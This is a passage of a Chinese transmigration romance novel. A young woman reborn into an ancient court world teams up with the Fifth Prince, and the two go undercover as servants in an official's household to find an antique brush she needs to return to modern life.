《利用完他后跑路了》
1. 第 1 章
“大小姐,夫人已经在催了。”
祝星序整理衣襟的手顿了顿,轻声应着。
“知道了。”
得了回复,屋外的丫鬟便不再说话,安静地等待。
过了一会,她便出了门。
丫鬟在前面引着,目光不由得往后一看。
祝星序眉若远山,眸如春水,唇似捻花,看上去清丽极了。
就连时常在她身边服侍的锦珠也常常被她的容貌所吸引,呆看一会。
丫鬟们将祝星序引至正门,夫人许氏已经在门口等待了。
许氏看着这个不是自己亲生的大女儿,心里总有些复杂的情感。
对祝星序没什么感情,却必须得管着她。
但她时常散漫的态度,又让许氏瞧着不舒服。
一点也不像个大家闺秀。
“到了就赶紧进来吧。”
她挥挥手,让祝星序进马车。
祝星序简单问候了一下,便钻进去了。
许氏则坐前面那辆。
祝星序进马车之后,便看到了自己同父异母的两个妹妹。
祝若怡只比自己小两岁,看见自己,冷哼了一声。
祝灿儿则更小些,才六岁。
待她坐稳后,马车骨碌碌地开始行走。
祝星序靠着马车,闭目养神。
来到这个世界已经十年了。
从最开始的兴奋,到现在的平淡。
上辈子,她是名社畜。
每天朝九晚十,累成狗,却不敢辞职。
一旦辞职,房贷就还不上了。
她很想拥有一个自己的家。
就在她拼命工作快把房贷还完的时候,她穿了……
穿进这本她大学时看过的小说。
原著是一本狗血文,男主是三皇子,太子的首要敌人。
女主是世家大族某一位庶女,才学出众,帮助三皇子打击太子,助三皇子登上帝位。
最后,原著作者因为心疼女儿女婿,弄了个金手指,两人过完皇帝皇后瘾之后就穿到现代生活了。
当时看到这一结局时,祝星序满头问号。
这真的不是烂尾吗?
但对现在的她来说……
……好羡慕。
近两年来,祝星序感觉生活越来越无趣。
每日起床便是跟夫人请安,用早膳,学些有的没的,用午膳,到处乱走,用晚膳,洗漱睡觉。
她越来越想念现代生活的便利和繁华。
而且,她是易热体质,总觉得闷闷的。
思及此处,一股燥热席卷了她的全身。
祝星序扯扯衣领,希望能凉快些。
好想吹空调……
想到空调,她叹了口气。
而且她也好想玩手机。
不想在这里画山画水,弹琴下棋了。
祝星序绞尽脑汁地想,原著的男女主究竟是怎么回现代的?
可惜这本书太久远了,她想不出来。
忽然,马车抖了一下,祝星序吓得睁开眼睛,撑住一旁的窗框,勉强稳住了身形。
两个妹妹也没扶稳,都趴在了地上。
祝星序撇撇嘴,还是将她们扶了起来。
祝若怡不是那种不懂感恩的人。
“……谢谢。”
祝灿儿看她的眼神亮晶晶的。
“谢谢大姐姐。”
祝星序笑了笑,没说什么。
她知道祝若怡不是什么坏人,而灿儿还小,对人没有天然的敌意。
祝若怡不满,掀开窗帘问在外面的仆从。
“怎么回事?”
仆从赶忙回道:“刚刚是五皇子的舆驾经过,避让了一下。”
祝若怡还想再说什么,但毕竟是皇子,她又重新拉上帘子。
祝星序的眼眸闪烁了一瞬。
五皇子?
似乎是三皇子的拥护者。
在原书中笔墨不多。
只说他面容俊美,话少。
后来在一次执行三皇子所派的任务时死掉了。
祝星序有些唏嘘,重新靠着马车。
刚刚那一摔,她好像有了些头绪。
原著的男女主,是在皇家林苑的书房看到的一本古籍上记载的回现代之法。
上面描述了现代生活的美好。
所以,男主直接派人将上面所需的东西找了过来。
又派钦天监的官员举行仪式。
两人这才到了现代。
祝星序内心一喜。
他们这次去的,正是皇家林苑。
皇后娘娘在皇家林苑开赏花宴,邀请了京城所有贵女。
她先前不爱这样的场合,面对这些世家贵女,总有种自己是土老帽的感觉。
所以之前的宴会,她都是称病不去。
许氏是续弦,也不会为难她。
也是因为府里实在太无聊了,她这次答应了,去看看。
现在想来,真是要庆幸自己做了这个决定。
祝家离皇家林苑不远,没一会便走到了。
车夫打开车门,各自的丫鬟在下面接着她们。
锦珠小心翼翼地把祝星序带下来。
三人便跟着许氏前后走进皇家林苑。
一路上,碰到了几个贵妇人。
许氏一一打着招呼。
进了皇家林苑,祝星序四处张望,终于看见了不远处书房的飞檐。
其实她不确定是不是,打算过去看看。
于是,她越走越慢,逐渐落下许氏许多。
两个妹妹也没发现,纷纷找到自己的手帕交攀谈。
锦珠见她走得这么慢,道:“大小姐,我们落下了。”
祝星序胡乱点头,嗯嗯哦哦说了一通。
锦珠一脸困惑,不知道她究竟要做什么。
祝星序左右看看,见无人在意她,朝着她刚刚见到的屋子那边走去。
还没走出几步,便被一个宫女拦住了去路。
“祝大小姐,宴会厅在那边。”
宫女礼仪得体,双手覆至身前,背脊挺直,但眼神是往下看的。
被拦住了,只能先回宴会厅。
祝星序皱着眉,盘算着怎么才能过去。
定是锦珠在这里,两个人目标太大,所以才会给发现。
快走到宴会厅时,她对锦珠道:“你在这里等我一下,我去更衣。”
说罢,看准了一条路,赶紧开跑。
锦珠还没反应过来,就看到越跑越远的祝星序。
她想喊她,但这是在皇家林苑,不可大声说话,她急出了一头汗。
锦珠不像祝星序那么胆大,不敢跟过去,只能在原地跺脚,认命地等她回来。
祝星序在林苑的羊肠小道内穿梭。
待跑出了一段距离,她才停下来。
道路两旁是皇家种植的各种名贵树木。
树木间还有点缀其中的灌木丛。
时不时还出现几座假山和亭台。
可以说,这里的一草一木,一砖一瓦,都是经过专人设计的。
若是这番景色能留于后世,想必也是极其出名的园林造景了。
她一边看,一边观察着四周,看看会不会有什么宫女太监突然出现。
躲了几个人,她终于看到了书房。
书房大门处,有一名太监坐在那里看管。
那太监看上去有些百无聊赖,正看着某处发呆。
祝星序悄悄躲在不远处的灌木丛里,执起一枚石子,往另一边扔。
太监耳尖一动,往声音来源处看去。
看了一会,喃喃道:“啥也没有啊。”
他转过头,祝星序又继续扔。
太监皱着眉起身,往那边走去。
祝星序趁这个机会赶紧像风一样的飘了进去。
实在不是那名太监擅离职守。
而是这书房的位置偏僻,平日里都很少人过来,现下又是赏花宴的时间,更是寂然无声。
祝星序望着偌大的书房,头皮一阵发麻。
书房只有一层,但放眼望去,看不到尽头。
光是书架,就摆满了近乎几百架,更别说罗列在上面的书籍了。
只能慢慢找了。
祝星序皱着眉,开始一个书架一个书架地看着。
还好这里的书籍经过专人的整合,一个类目的放置在一起,省去了祝星序许多功夫。
有些像现代的图书馆。
若是在现代,只需要在电脑上查找序列号,便能准确地找到书籍所在的书架。
走至深处的一架书柜时,祝星序眼前一亮。
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>这上面的书,都是未被分类的古籍。
里面的内容实在奇怪,整理人不知道将他们归置何处,便都放在这里。
祝星序拿起来一本一本看。
丝毫没有注意到两架书柜后那幽深的目光。
正当她聚精会神地看着手上刚拿的一本书时,传来一声轻咳。
人在极端紧张时,会被突如其来的变故吓一大跳。
祝星序就是如此。
她猛地将手中的书扔掉,睁大眼睛看着来人。
那本书不偏不倚坠在了那人的脚边。
来人身型颀长,有些清瘦,纵然身着华服,也难掩他面色的苍白。
也正因他的白皙,衬得他的眉毛更加浓黑,瞳仁也如黑曜石般澄净。
看上去,像画里的谪仙人一般。
祝星序观察了一下他,不知该如何称呼。
不管了,先行礼吧。
“贵人好。”
她不敢表明身份。
裴榭还未看清她的人,鼻尖便敏锐地嗅到一丝柑橘的香味。
这让他想到幼时在麓城时,仆从给他的那一瓣。
他的目光落在祝星序的身上。
看穿着,像是某家的贵女。
不过,此时正是赏花宴召开的时间,她怎么会在这?
“是迷路了吗”
祝星序只觉听到山林间流动的泉水之音。
他的嗓音很清冽,听起来十分舒服。
如果她说走错了,那面前这个人肯定会带她离开。
可是她还没找到那本书。
也不知道何时才有下次再来的机会。
她咬咬唇,硬着头皮道:“我一直对皇家的书房十分向往,所以来看一看。”
说完,她低着头紧闭双眼。
连她都知道,这番话有多么破绽百出。
裴榭像是无所觉似的,微微点了点头,弯腰拾起地上的书递给她。
祝星序尴尬地接过。
她刚刚想把这本书放回去来着……
他转头看向她:“你还要看吗?”
祝星序只得摇头:“不看了……拿这本书就够了。”
可恶啊,她还没看完。
但现在把小命保住比较重要……
万一他是什么身份尊贵之人,往上告一状,祝星序不死也得脱层皮。
正准备离开,看守书房的太监不知什么时候走了过来。
他疑惑地看向这边。
“咦?这里怎么也有声音?”
祝星序紧张地不行,飞快朝四周看,想找个躲藏的位置。
裴榭拉过她的手腕,两人躲进了最里面那架书柜的后面。
当他拉着她时,裴榭身体过低的温度刺得她战栗了一下。
好冷……
不过,最初的冰冷过后,祝星序竟感到有些舒适。
她想起了最爱的空调。
两人缩进角落,裴榭离她极近。
就连他喷在祝星序头顶的呼吸,都仿佛像结了层霜。
祝星序微微抬头,只能看到他的下巴。
她是第一次和异性靠得如此之近……
尽管祝星序觉得有些尴尬,浑身的肌肉都绷紧了。
但……
她不愿离开这适宜的环境。
祝星序每年夏天冰的分例都不多,总是很快就用完。
她的手无意识地按紧了裴榭的胳膊,想从中汲取更多的凉意。
裴榭也察觉到她的动作,呼吸一滞。
还从未有人在触碰到他身体时不离开的。
他向来最讨厌别人碰他。
但是……这个人,他似乎并不反感。
是因为柑橘的缘故吗?
与此同时,柑橘的香味更浓了,直进入他的鼻腔。
太监走得越发近了。
眼看着就要到他们这架书柜前。
祝星序暗暗叹了口气,使出了口技,模拟粉蠹吃木头的声音。
裴榭有些惊讶地看着她。
没想到,她还会这招。
太监果然停下了脚步。
他皱着眉道:“又有虫子了,过两日叫人过来处理下好了。”
说罢,便转身离开了。
两人同时呼出一口气。
呼完后,两人的目光撞在了一起。
2. 第 2 章
两人又不约而同地移开视线,待太监走远后,他们才从角落出来,离了几里远。
祝星序虽然不知道他为什么也要躲,但总归两人一起经历了这么惊险的事情,这个人也没有告发她。
她对这人生出了几分好感。
两人走到门口,不知道太监去哪里了。
也是好事,他们可以直接出来,不用再声东击西。
裴榭停顿了一下,对祝星序道:“你先去宴会厅吧。”
时间还早,赏花宴也没开多久。
祝星序回头看了他一眼,点点头,开始狂奔。
裴榭站在原地等了一会,才朝着赏花宴走去。
跑出一半,祝星序发现自己仍然抱着那一本书。
她苦恼地翻了翻,却在其中一页,看见了她要的东西!
祝星序的心脏砰砰跳着,手指颤抖着翻开,眼睛迅速地浏览。
在附近走着的锦珠看见她,小跑过来。
“大小姐!”
祝星序立刻将书合上,收起来。
锦珠没注意到她的动作,只赶紧扶着她过去。
“大小姐,你以后不要再这样了,刚刚夫人还来找我,问我你在哪。”
祝星序满脑子都是刚刚看到的东西,没回答。
锦珠还以为她听进去了,滔滔不绝地说着。
“若您再不来,夫人就生气了!”
祝星序挥挥手:“我这不是来了吗。”
锦珠见状,也不再说话。
到了宴会厅,许多夫人贵女都已经在厅里三三两两地坐着赏花了。
她先是去找许氏。
许氏正皱着眉,正到处找她。
见她来了,眉间才舒展开来。
“去哪了?”
祝星序低着头:“刚刚有点不舒服,找了个地方休息。”
这么多年来,许氏也很了解祝星序。
不欲与祝星序多费口舌,许氏叮嘱了一句,便又开始和其他的贵妇人说话。
祝星序见这一关过了,赶紧溜到没有人的地方。
尽管她在这里的日子不短,但身处于这么多的贵女和贵公子之间,祝星序还是很不适应。
就像现代看到很多潮人在面前一样。
跟潮人恐惧症不同的是,这应该叫上流社会恐惧症?
祝星序被自己的念头笑了笑,出神地看着远处的花。
花团锦簇的地方人最多。
锦珠见她又一个人溜至人迹罕至处,有些不忍。
“大小姐,这次是夫人想让你认认人,到时候帮你定亲时也方便些。”
祝星序疑惑地看着她。
她就要嫁人了?
可是她才十八岁!
不过很快,她意识到,这是在古代。
古代就是这么早结婚的。
祝星序顿时萎靡了。
垂头丧气了一会,她拿出那本古籍来看。
她一定会在不得不结婚之前离开这里的!
古籍记载,若要回现代,需得集齐五样东西。
当代皇室中人的腰牌;枯青树毛笔;积夜潭下方的冰乳石;朱雀图腾木牌以及麓城最中央那栋楼被晒得焦黑的瓦片。
形容得非常详细。
详细到她觉得就是原著作者给男女主开的外挂。
对于已经成为了皇帝的男主来说,收集这些东西简直是易如反掌。
但是她不是啊……
她只是一个平平凡凡官员的女儿。
后面四个先不管,第一个她看懂了。
皇室中人的腰牌。
她一个都不认识啊!
而且现在去认识,不会太晚了吗?
要认识就得在小时候进宫参加公主侍读的选拔。
她现在十八岁……还能参加吗?
就算有幸被入选了,这么重要的东西,公主真的会给她?
祝星序的脑子很乱。
忽略这个,这个毛笔看上去最好找,先找这个吧。
定下了第一个目标,她放松了些。
待到赏花宴结束,祝星序跟着人流走出了皇家林苑。
除了在书房遇见的那个人,她一个人都没见到。
许氏有些怒其不争。
但没办法,她不愿意,许氏也不敢勉强她。
若是自己的亲生女儿,她就会耳提面命了。
回到祝府,祝星序的身上出了一些细汗。
赏花宴是花枝交缠的地方,风也吹不进来。
锦珠知道她一回来便是要沐浴的,利索地叫其他人打热水进来。
路过祝星序时,她照常问:“大小姐,今天还是吃柑橘吗?”
祝星序眼睛一亮,猛点头。
在沐浴的时候吃柑橘,是她的爱好之一。
泡着水,光溜溜地吃水果,非常舒服!
热水打好后,锦珠便关上门,在门外守候。
坐进浴桶时,祝星序舒服地喟叹一声。
随后,拿起在一旁的柑橘,开始剥着吃。
现下柑橘的季节还没过,她得抓紧多吃些。
不然再过一阵子,就没人种柑橘了。
剥开柑橘外面的皮,因为指甲会抠到,柑橘的汁水便会落入泡澡水里。
连带着祝星序的身上,也有了柑橘的味道。
吃完之后,她泡在浴桶里,脑子里想着枯青树。
小的时候,许氏派了女先生来府里教导小姐们,祝星序闲来无事,便每天练字。
她想着,若能回现代,凭她这一手毛笔字,可以当个书法大师什么的。
就不用再去朝九晚十地上班了。
可惜,待她练到一个境界时,便再也练不好了。
女先生说,她的字里有一股子利益的味道。
若要再精进,需得抛弃心中的执念。
……她练字的目的就是这个啊?抛弃的话她早不练了。
于是便搁置了。
练字时,她也曾像在现代当学生时那样,去书斋买些有的没的。
光毛笔就买了七八种。
有一些名贵的,她买不起,就只看看。
毛笔的种类,祝星序知晓不少,但她还从未听说过枯青树这个名字。
难道,这是某一种毛笔的别名?
手上的皮肤有些麴了,她起身擦干换上寝衣。
明日左右无事,拿本植物书去找找好了。
隔天一大早,她便迅速起床,摸去府里的书房。
祝明礼不在,可以进去。
她在里面快速寻找,终于找到一本,回来之后,便叫锦珠去喊车夫套车,她要去城外溜达。
锦珠见她这么早起,吓了一跳。
“大小姐,今日怎么这么早?”
祝星序之前,可是要睡到日上三竿的。
有关于回家的事,她是不会懈怠的。
“快去找人,我先去给夫人请安。”
锦珠点点头,便去寻车夫了。
来到许氏的院子,两个妹妹还没来。
见她来了,许氏的心情也愉悦了些。
“难得这么早,来陪我用早膳吧。”
祝星序也不客气,坐下就开始吃。
虽然她的速度很快,但该有的礼仪和分寸也是有的。
吃完后,祝星序优雅地擦擦嘴,向许氏告辞。
“母亲,我这便告退了。”
许氏吃得很慢,微笑了一下:“去吧。”
出了院门,她便飞快地跑去正门。
马车已经在正门处等候多时了。
祝星序一坐进去,便开始翻开植物书。
翻来翻去,没有一页表明枯青树是某一种树木的别名。
挠挠头,她又继续。
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又翻了翻,她只看到一种叫枯井的树木。
先找到那棵树再看看吧。
马车走着走着,忽然停了下来。
祝星序以为到了,掀开车帘,发现还在城里。
锦珠的声音从外面传来:“大小姐,城门给拦住了,不让人出去。”
祝星序皱眉。
这么倒霉?
她下车一看,城门处果然已经聚集了许多百姓,正在大声嚷嚷为什么不让出去。
他们有些人需要出城采药或者交易货品,这么一拦,今日的生计可就没了。
祝星序站在原地看了会热闹,准备回去了。
这次不赶巧,那就下次吧。
临走时,她看到路边一个很眼熟的身影。
是上次在皇家林苑的书房见到的那名男子。
他今日身穿官服,头戴官帽,和上次的模样相比,多了几分肃穆的感觉。
只是,他的模样过于俊俏,让祝星序想到一个词。
制服。
此时,他左右两边站立着带刀侍卫,正在和百姓们说着什么。
说完后,他露出微笑,朝着祝星序走来。
祝星序耳尖,听见侍卫喊他五皇子。
嗯?他就是五皇子?
祝星序立刻想到原书中早死的他。
这个节点,他应该已经在为三皇子做事了吧?
裴榭走近,也看到了祝星序。
“是你啊。”
裴榭主动和她打招呼。
祝星序有些尴尬:“是啊。”
他们的关系有好到可以打招呼吗?
不过多认识点人也是好的,万一需要他帮忙呢?
更何况,他还这么俊俏……
裴榭看到她站在马车旁,若有所思。
“姑娘是要出城?”
祝星序点头。
裴榭想到她的口技,认为祝星序是可用之人,或许可以帮帮她,让她欠他个人情。
“出城做什么?”
祝星序挠头:“没做什么,出去溜达溜达,吹吹风。”
这个回答总算没有上次那么尴尬了。
不是什么要紧事,裴榭便道:“现下封城,姑娘还是另择时间为好。”
祝星序点头。
五皇子之前并不在京城住。
也许他知道枯青树长什么样子呢?
见裴榭要走,祝星序伸出手拉着他的衣袖。
“请问,你知道枯青树是什么吗?”
裴榭转身,盯着祝星序的手。
祝星序顺着他的目光一看,心里一慌,松开了。
裴榭思考了一番,才道:“我只知大理寺少卿有一根常用的毛笔,是枯青树枝做的。”
祝星序猛地瞪大眼睛。
还真有枯青树毛笔?
裴榭见她喜怒形于色的模样,好心劝道:“这个毛笔可是大理寺少卿的心头好,若你想要,只得去他的家乡看看。”
祝星序迫不及待地问:“他的家乡在哪?”
裴榭说了个离京城十万八千里的小城镇。
祝星序心里咯噔一声。
古代的交通工具只有乘马车一种,她得坐到猴年马月啊?
到时候,她可能被逼着嫁人,孩子都好几个了。
她打了个寒战。
最好的方法便是从大理寺少卿身上下手。
裴榭看她一脸难受的样子,心里有了一个计划。
正和他最近发愁的事情有关。
“你很想要?”
祝星序眼尾朝下,可怜巴巴地点头。
“你能帮我吗?”
虽然只见过这个人两面,但祝星序还是死马当活马医。
问问又不犯法,对吧?
裴榭勾了勾嘴角,忽然凑近她。
“一个时辰后,仙来酒楼见。”
3. 第 3 章
裴榭凑近时,祝星序感觉周遭的温度都变低了。
当她还在贪恋这股寒意时,裴榭又装作若无其事的样子走开了。
真好啊,如果她也是这种体质就好了。
古代穿这么多衣服,除了冬天,她都感觉多少有些闷热。
锦珠不知道裴榭和祝星序约定好的事,主子说要来这,她便让车夫载着祝星序来到仙来酒楼。
祝星序直觉他要和自己说一件很隐秘的事情。
事关大理寺少卿,她还是谨慎些好。
让小二开了个包间,她便坐走进去,点了壶茶和几碟点心坐着等。
还没到一个时辰,裴榭便风尘仆仆地赶来了。
问了小二,他直奔向祝星序所在的包间。
见他来了,祝星序停下吃点心的手,拍了拍身上的碎屑,站起身来。
裴榭是一个人来的,他看了看锦珠。
祝星序会意,让锦珠出去。
锦珠抿着嘴,幽怨地看了一眼祝星序。
孤男寡女的……主子的名声自己不要了吗?
但当着两个人的面,她不敢说。
祝星序又催了一下她。
锦珠这才出门,关上。
她暗暗发誓,为了祝星序的声誉,绝对不能让这件事流传出去。
房内只剩下他们二人。
裴榭走到桌前坐下。
“还未自我介绍,在下名唤裴榭,是当今圣上的第五子。”
这句话在祝星序看来,其实是很装逼的。
但从裴榭的口中说出来,却像我今天吃了碗面一样稀松平常。
祝星序也礼貌道:“祝星序,户部尚书祝明礼的大女儿。”
裴榭点点头。
“我也有几样东西,想问大理寺少卿李栋取。”
祝星序看着他,静待下文。
裴榭给自己倒了杯茶,一饮而尽。
从那日见过祝星序后,他便暗地调查过她。
越了解,便越觉得,她是上天派来襄助他的。
在京城的官员家长大,该会的技能都会。
但又不爱露面,没有与之交好的人。
鼻尖又传来若有若无的柑橘香。
裴榭可以肯定,这是祝星序身上发出来的。
他看了看祝星序,却见她正一脸认真地看着自己。
心跳漏了一拍。
不过,他没有表现出来,而是继续说着。
“我和你潜入李栋的府邸,找出我们都要的东西。”
祝星序皱眉:“怎么潜入?”
说得这么轻松,他定是有了办法吧?
裴榭拿出两张卖身契,上面写着一男一女的名字,籍贯和生辰八字。
“我们伪装成这两个人,通过人牙子,进入李府。”
祝星序听明白了。
“可,我是贵女,你是皇子,做这种事情传出去不太好吧?”
祝星序没什么封建思想,只是单纯觉得有些不妥。
若这件事被其他人知道,或者被谁给看出来,会带来很多麻烦。
她每日可以出门的自由没准都没了。
裴榭道:“我刚从属地回来,无人见过我。而你,”他直直地看向祝星序。
“你自幼便不爱出门,小姐间的聚会向来不去,也没有任何其他贵女的手帕交。谁能认出来?”
祝星序脸色有些变化:“你调查我?”
裴榭似笑非笑地看着她。
“我回京城,是来办差的,京中所有人的事情,我都知道。”
祝星序暗暗松了一口气。
不是只调查她一个人就好。
就像现代的大数据遗失。若你一人的信息被暴露,你会愤怒。
但若你发现所有人的信息都被摊在阳光下,又觉得没什么了。
裴榭看她很快调整好状态,也有些惊讶。
他还以为,祝星序会训斥他一番,问他怎么能这么做。
这样也好,省得费许多口舌。
做任务,就是需要一个这种性格的人。
“三日后,人牙子会在城门口等着,届时,我们一起。”
说着,裴榭拿出一罐膏体放在桌上。
“涂在皮肤上,这乌云膏能管三天。记得勤涂。”
祝星序好奇拿过来打开,里面是一坨棕色的膏体。
她挖出一块放在手背上涂,手背登时变黑了好几个度。
“这么点够吗?”
裴榭又摆出五罐乌云膏。
“不够我这边还有。”
祝星序看了看他。
这些肯定是做任务时要用的。
他还挺辛苦的。
她不由得多看了裴榭几眼。
裴榭办了一上午差,再加上空气中慢悠悠飘荡的柑橘香,有些饿了。
“叫些饭菜来吃吧。”
他虽看上去是在询问祝星序,可却是不容置疑的语气。
祝星序还在研究乌云膏,随意点了点头。
裴榭便打开门,唤小二进来点菜。
点完后,裴榭又为她倒着茶水。
“我点了几样招牌菜,一会试试。”
祝星序不挑食:“好。”
忽然,她想到了一件事。
她去李府当丫鬟,那祝府怎么办呢?
晚上不回家住,这岂不是平白惹人怀疑吗?
“我爹那边怎么办?”
裴榭早就想好了。
“我让你的远方表姐过来接你去外地玩。”
祝星序懵了,她还有远方表姐?
事实是,过了两日,果真有个自称是远方表姐的女孩乘着马车来到了祝府门口。
恰逢祝明礼在家。
祝星序看着那女孩,有些紧张。
祝明礼出来,看见她,很是高兴:“这么多年没见,都长这么大了?”
那女孩也落落大方地向祝明礼问好:“二叔,你还是这么年轻。”
祝明礼笑呵呵地捋着胡须。
女孩表明来意,祝明礼听完后,忙叫祝星序过来。
“你,这一个月就和妍儿出去玩玩吧。玩尽兴了再回来!”
那女孩也笑意盈盈地拉她过来。
祝星序恍惚地接过锦珠递给她的包裹,又恍惚地坐上了马车。
直至坐在马车里,她还是有不真实的感觉。
女孩坐上车后便收敛了笑容,一脸严肃。
祝星序想和她说话,有点不敢。
坐着马车,他们来到了一桩房屋前。
推开门,裴榭已经换了一身粗布衫,坐在主座上喝着茶。
“来了,快去换衣服吧。”
他似乎也收拾过自己了,脸没那么好看,反倒有些朴实,和庄稼地礼辛勤劳动的汉子一样。
但还是勉强能认出来是裴榭。
祝星序被带着到了侧屋,侧屋的床上放着一套褐色的布衣和布裙。
换上后,又抹了半罐的乌云膏,她来到主厅。
裴榭不再喝茶,将其中一份卖身契递给她。
祝星序接过,揣在兜里。
两人一前一后地出门,走在路上,和身边不同的百姓没什么两样。
越到城门处,祝星序越有些心慌。
她快步上前,和裴榭肩并肩走着。
“给发现了怎么办?”
裴榭道:“他们不会发现的。”
祝星序抬头看他:“为何?”
裴榭也转头过来看着她。
祝星序的眼睛很好看,里面是盛着水光的浅棕。
“在他们发现之前,我们已经离开了。”
祝星序不知道他的自信从何而来。
不过……富贵险中求,若拿不到这毛笔,她就回不了家了。
回不了家,就要被迫嫁人。
嫁人之后又要生好几个小孩。
小孩满地跑,又哭又闹。
祝星序吓坏了,陡然生出一种悲壮的感觉。
她一定要回家!
裴榭察觉到她的变化,似乎更加坚定了。
虽然不明白她在坚定什么,但能有这样的斗志,也是好事。
裴榭
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笑了笑,很浅,也只有一瞬。
到了城门口,祝星序瞧见一个人牙子站在那里清点人数。
人牙子看到他们,皱着眉开骂。
“你们怎么那么慢啊!耽误贵人的事,看你们怎么办!”
裴榭没说话,将卖身契递给她。
祝星序也赶紧递上去。
人牙子看了一眼,揣在衣襟里。
“走吧走吧。”
他们和其他几人跟着人牙子,来到李府。
祝星序观察了一下其他人。
他们都是一副唯唯诺诺的样子,看上去和真的仆从一样。
她不确定这些是否是裴榭的人。
同样,她也不确定人牙子是不是裴榭的人。
祝星序不敢轻举妄动。
裴榭将几块碎银塞进祝星序的手中。
他的手和银子一样冰冷。
裴榭似乎没发现她瑟缩了一下,低声道:“等会你就说要去夫人的房间服侍。”
祝星序点点头。
裴榭将手背在身后,不由得想到了刚刚触碰祝星序时的感觉。
她的手热乎乎的,仿佛是永不熄灭的炭火。
人牙子带着他们从李府的侧门进去。
早有管家在侧门处等候。
他看了看面前站着的这些人,满意地点点头。
“你们都想去何处侍奉啊?”
裴榭先行一步,塞银子给管家,又露出一副谄媚样:“我想去大少爷房里。”
人牙子适时递上裴榭的卖身契。
祝星序看着他的变脸,目瞪口呆。
堂堂五皇子,居然会做出这种表情。
李管家很满意,对身旁记录的仆从道:“阿贵,大少爷房。”
仆从记下。
祝星序也赶紧上前:“我想去夫人房里。”
李管家拿过卖身契道:“翠花,夫人房。”
祝星序听着这个名字,心里一阵无语。
她刚刚都没仔细看卖身契上的名字。
这个名字也太大众化了。
就好像小狗永远叫旺财,小猫永远叫咪咪。
往丫鬟堆里扔个手榴弹,能砸死十个叫翠花的。
祝星序偷偷瞪了一眼裴榭。
裴榭站在旁边,一无所觉。
其他人没给银子,李管家冷哼一声,全部发配去干脏活累活的地方。
分配好之后,便有夫人房里的丫鬟素兰带祝星序过去。
素兰边走边和她说着注意事项。
“夫人礼佛时,不喜人进入。”
“夫人与老爷用餐时,不喜人进入。”
“夫人传唤时,需要马上赶到。”
祝星序仿佛回到了大学毕业后第一次实习的时候。
那个带她的老员工也是这样絮絮叨叨地说着规矩。
她想拿纸笔来记,摸摸身上,啥也没有。
祝星序只好用心听着,在心里默念。
素兰用余光瞥见祝星序低眉顺眼的模样,对她的印象好了一些。
穿过一层又一层拱门,他们来到夫人的禅香院。
素兰带她到宿舍。
“你先收拾好,晚些我叫你一起进去伺候。”
祝星序知道她已经把她当自己人看了,点头,开始收拾床铺。
李府条件不错,床铺都是单人的,一间房里住了四个丫鬟。
只是,确实还要比她在祝府的房间差了不止一点半点。
祝星序咬咬牙。
为了回家!这点苦算不了什么!
转念一想,裴榭还是五皇子呢,照样住这样的通铺。
她心情好了许多。
瞥见一旁的桌子上有一面铜镜,祝星序抓来照。
刚刚在那边的屋子里收拾好之后还没仔细看过呢。
一照,祝星序涂了乌云膏的脸更黑了。
她现在简直就是个黑炭!
祝星序把镜子一扣,不愿再看。
收拾完没多久,素兰便进来唤她。
“翠花,一起去伺候夫人用膳。”
4. 第 4 章
禅香院内,种着一些好养活的花草,例如太阳花,狗尾巴草之类的。
素兰和她解释:“夫人说,世人大多喜爱名贵之花,她却觉得,顽强的野花野草也很好。”
她挺喜欢祝星序的,看着乖乖巧巧的,不像是会作妖的人。
不知不觉,便和她说了许多事情。
祝星序也默默记着。
这种职场老人的经验之谈最是难能可贵。
尽管可能在李府待不了多久,祝星序也想好好干。
天色昏黄,禅香院开始陆续掌灯。
来到门口,素兰先是毕恭毕敬道:“夫人,用膳了。”
过了一会,里面才传来声音:“传吧。”
等候在外面的仆从端着菜,鱼贯而入。
素兰立刻带着祝星序上前摆盘。
她努力回想祝府的仆从是如何干活的。
奇怪了,明明日日都见的,许多细节她却想不起来。
只能连蒙带猜。
有些磕绊,但祝星序的行为挑不出大的差错。
素兰干着活的同时也在观察祝星序。
见她并非全然不会,心下也满意起来。
看来这次人牙子选来的人还不错。
能教。
祝星序青涩的举动吸引了李栋的正房孟春和的注意。
她转头看祝星序。
“新来的?”
素兰刚要使眼色,祝星序就走到孟春和面前行礼:“奴婢是翠花,今日刚到府上。”
这个名字真的难以启齿……
只是这番场景,却是实实在在地让她感受到自己确实是穿越了。
当小姐时,祝星序还是和以前在现代时那样我行我素,倒也没什么感觉。但当丫鬟却不同,一应礼仪都要遵守。
祝星序莫名有些兴奋。
甚至有一种进了剧组的感觉。
孟春和点点头,不再说话。
后续服侍孟春和用膳时,素兰还悄悄对祝星序道:“做得好。”
祝星序抿抿唇,羞涩地笑了。
看看看看,她多有演戏天份。
一边干活,祝星序一边想着,如果她当了书法大师,有很多钱,是不是也可以去筹拍一部古装戏?
到时候,她既能客串贵夫人,又能客串贵女,还能当当丫鬟。
想着回到现代的美好生活,祝星序的嘴角控制不住地微笑。
孟春和瞧见了祝星序的表情,心里不免涌出一股情绪。
即使是身为仆从,也能如此乐观吗?
不知是不是因为看到了祝星序浅浅的笑容,孟春和的胃口也好了些,吃得比往日多。
一直服侍孟春和的素兰惊喜不已。
她笑意盈盈,满怀关切道:“夫人今日的胃口倒是极好。”
孟春和微微讶异,看了看碗内自己已经吃完的主食,也笑起来。
“也许吧。”
用完膳后,素兰让祝星序回去,她留下。
孟春和看了她们一眼,开口:“让她也留下吧。”
素兰和祝星序又行礼:“是。”
接下来,祝星序去帮忙倒热水,跟着素兰一起服侍孟春和睡下。
下了值回到房间,祝星序锤了锤自己酸痛的肩膀。
她先前一直在当大小姐,几乎没干过这种事。
今日开工,她的小身板有些受不了。
好累……不想干了。
仿佛又回到现代时痛苦的社畜生活。
但是一想到孩子满地跑的场景,她赶紧洗漱完闭上眼睛睡觉。
等做完任务,拿到毛笔,她就能回祝府了。
不过奇怪的是,这个房间只有她一个人。
其他丫鬟去哪了?
而且这个房间除了她的东西以外,再没有其他的生活用品。
就像是她的单人宿舍。
但在大户人家里,能单独睡的只有主子身边的大丫鬟。
以祝星序如今的地位,是断不可能分配到这样的屋子。
等明天她问问素兰好了,没准也是什么不得了的消息呢。
祝星序闭上眼睛。
睡着睡着,窗棂被什么东西敲得邦邦响。
是谁?贼吗?
应该不可能吧……李府也是有家丁巡逻的,如果这么容易给贼进来,李府的家当早被偷完了。
那么,就只有一种可能。
祝星序睁眼坐起来,来到窗边,悄悄打开一条缝隙,谨慎地往外瞄着。
不远处,裴榭站在那里。
他的衣服换了一身,和李府里其他小厮一样,是一套靛蓝的长衫。
祝星序舒了一口气。
果真是他。
她又走到门边,轻轻推开门,没有发出任何声音。
